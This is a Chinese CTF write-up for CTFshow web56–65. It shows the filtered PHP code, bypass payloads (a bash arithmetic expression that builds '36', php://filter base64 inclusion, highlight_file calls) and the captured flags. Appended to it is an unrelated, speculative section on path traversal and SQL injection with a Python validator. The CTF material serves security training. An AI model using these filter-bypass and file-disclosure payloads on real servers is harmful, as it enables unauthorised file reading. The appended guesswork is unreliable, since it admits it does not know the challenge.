CTFshow web56 57 58 59 60-65

web56

代码分析:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }

这块跟55类似,但是把数字也过滤了,意思是,/???/????64 不能用了,因为这里是靠64匹配的,数字没了所以就用不了了,但是.还是没过滤,可以使用.执行

payload:

详细介绍在前面的文章中——传送门

使用上传网页,上传个txt,抓包修改,发送到重发器,因为最后一位不一定为大写字母所以多发几次就有结果

 

flag:

ctfshow{1aca122d-266a-42a3-ab31-7ba3800c2277}

web57

代码分析:

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{

提示了flag在36.php,下面甚至cat 和.php都给了,其实就是想办法构造36出来,看了大佬的解,发现在linux中$(())表示运算符计算,且默认相加 默认相加很重要的,然后~是取反的意思

尝试了一下 $(())=0,$((~ $(())))=-1 ,$((~ 36))=-37

 

$((~ -37))=36,所以就要构造一个 $((~ -37)),而刚刚提到$(())默认相加,尝试一下

$(($((~ $(()))) $((~ $(()))) $((~ $(())))))

所以写37个 $((~ $(()))) 就能得到-37 再用~取反 得到36

 

payload:

$((~ $(($((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(())))$((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) ))))

ps:flag在F12中

flag:

ctfshow{d0d4cca2-b564-4c68-81bc-db28481f7249}

web58

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{

变成post方法传参了,直接掏出hackbar

试了一下c=system('ls');

 出于安全性考虑已被禁用,passthru、shell_exec、exec都被禁用了,考虑文件包含或者highlight_file

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

base64 falg: 

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3Yjg3ODk5NS1jMGU5LTRiMWEtODljMC0zZTg1NTc2YmQ5ZjN9Ijs= 

 

 解法二

flag:

 ctfshow{7b878995-c0e9-4b1a-89c0-3e85576bd9f3}

web59

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);

跟上一关一样

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

flag:

ctfshow{f3be9bd8-55e2-4a59-9973-70ae3ddb8074}

web60

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

 跟上一关一样

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

flag:

ctfshow{41197111-be3c-4c5a-89d3-378cc8e8a003}

web61-65

都和前面一样

### 关于CTFShow Web 56的解题思路 对于CTFShow平台上的Web类第56题,虽然具体题目细节未提供,但从已知的信息可以推测该题目可能涉及文件读取漏洞或路径遍历等问题。以下是基于常见Web安全挑战的分析和解决方法: #### 文件读取与路径遍历 如果题目涉及到`readfile()`函数,则可能存在路径遍历漏洞。攻击者可以通过构造恶意输入来访问服务器上未经授权的文件。 例如,在PHP中,`readfile()`函数用于将整个文件读入字符串并输出到浏览器。如果没有对用户输入进行严格过滤,可能会导致敏感文件泄露。以下是一个典型的利用方式[^1]: ```php <?php $file = $_GET['file']; readfile($file); ?> ``` 通过向参数`file`传递类似于`../`的路径穿越字符,攻击者能够尝试访问任意文件。为了防止此类攻击,应该对用户提交的数据进行全面验证,并限制可访问的目录范围。 #### SQL Injection Union Query 另一个常见的问题是SQL注入中的Union查询技术。当应用程序未能正确转义特殊字符时,就可能发生这种情况。下面展示了一个基本的例子[^2]: 假设存在如下查询语句: ```sql SELECT name, password FROM users WHERE id = '$_GET[id]'; ``` 如果允许直接拼接未经处理的外部数据作为部分SQL命令执行的话,那么黑客就可以轻松突破系统的防护机制获取数据库内的其他记录甚至控制权。 因此,在开发过程中要特别注意采用预编译语句或者ORM框架等方式减少手工构建动态SQL的机会;同时也要记得设置最小权限原则给运行环境下的DB账户只授予必要的操作许可以降低潜在风险影响面。 #### 综合考虑程序逻辑错误修复方案建议 除了上述提到的技术层面之外还需要关注整体业务流程设计是否存在缺陷。比如某些情况下看似无害的功能组合起来却能造成严重后果(如前面说过的上传功能加解析漏洞),这就要求我们在做需求评审阶段就要充分考虑到各种边界条件以及异常情况如何妥善处置而不至于让系统暴露在外网之下成为被轻易攻破的目标对象之一[^3]. 最后提醒大家参加这类竞赛活动期间一定要遵守主办方制定的相关规定不要做出任何违反道德伦理的事情损害他人利益同时也保护好自己个人信息安全! ```python import re def secure_read_file(file_path): allowed_pattern = r'^[a-zA-Z0-9_-]+\.(txt|log)$' # 只允许特定扩展名的安全文件名模式匹配 if not re.match(allowed_pattern, file_path): # 如果不符合正则表达式的定义格式则抛出异常终止后续动作 raise ValueError("Invalid filename provided.") with open(file_path, 'r') as f: # 安全地打开指定路径下的文档资源内容返回给调用方使用 return f.read() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值